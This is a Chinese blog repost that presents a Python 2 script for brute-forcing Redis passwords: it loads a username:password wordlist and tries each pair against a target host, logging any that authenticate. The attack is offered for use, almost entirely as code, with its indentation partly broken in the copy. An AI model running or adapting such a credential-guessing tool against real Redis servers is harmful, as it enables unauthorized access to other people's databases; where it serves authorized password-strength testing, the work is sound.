用python 编写redis 暴力破解密码的程序

本文摘自http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/ 

import redis
import logging

LOGIN_TIMEOUT = 12


class RedisAuth:
  #初始化
def __init__(self, (host, port)):
self.addr = (host, port)
print self.addr
  #login函数,有三个参数,self,username,password
def login(self, username='', password=''):
conn_ok, auth_ok, banner = False, False, ''
connection = None
try:
       #连接redis
       #redis.StrictRedis(host='localhost', port=6379, db=0, password=None, socket_timeout=None, connection_pool=None, charset='utf-8',
        errors='strict', decode_responses=False, unix_socket_path=None)
connection = redis.StrictRedis(host=self.addr[0], port=self.addr[1],password=password,db=0, socket_connect_timeout=LOGIN_TIMEOUT)
conn_ok = True
auth_ok = True
print password
info = connection.info()
banner = str(info)
logging.getLogger().warn('FOUND %s:%s@%s:%d<OK>' % (username, password, self.addr[0], self.addr[1]))
except Exception as e:
es = str(e)
if es.find('Password') >= 0:
conn_ok = True
else:
conn_ok = False
logging.getLogger().info('ERR:1 %s:%d %s' % (self.addr[0], self.addr[1], es))
print es
del connection #删除变量connection
return conn_ok, auth_ok, banner


class RedisBruteTester:
def __init__(self, userdict, passwords=None):
self.userdict = userdict
pass

def test(self, task):
(host, port) = (task[0], task[1])
rs = []
auth = RedisAuth((host, port))
# print self.userdict
for username in self.userdict:
for password in self.userdict[username]:
conn_ok, auth_ok, banner = auth.login(username, password)
print conn_ok,auth_ok,banner
if not conn_ok:
# return rs
continue
if not auth_ok:
            continue
         rs.append([host, port, 'REDIS', username, password, banner])
         break
    if not rs:
      logging.getLogger().info('SAFE %s:%d' % (host, port))
    return rs


if __name__ == '__main__':
  host,port = "需要暴力破解的host",int('6379')
  userdict = dict()
  for ln in open('c:\\redis_userpasswd.txt'):
    fs = ln.strip().split(':', 1)
    if len(fs) != 2:
      continue
    username = fs[0]
    password = fs[1]
    if username not in userdict:
      userdict[username] = set()
    userdict[username].add(password)
    # logger = xutils.initLogger('.\\pass\\redis.txt')
  tester = RedisBruteTester(userdict)
  rs = tester.test((host, port))
  if rs == []:
    print('Faild')
  else:
    print(rs)

转载于:https://www.cnblogs.com/daphnezhu/p/9723710.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值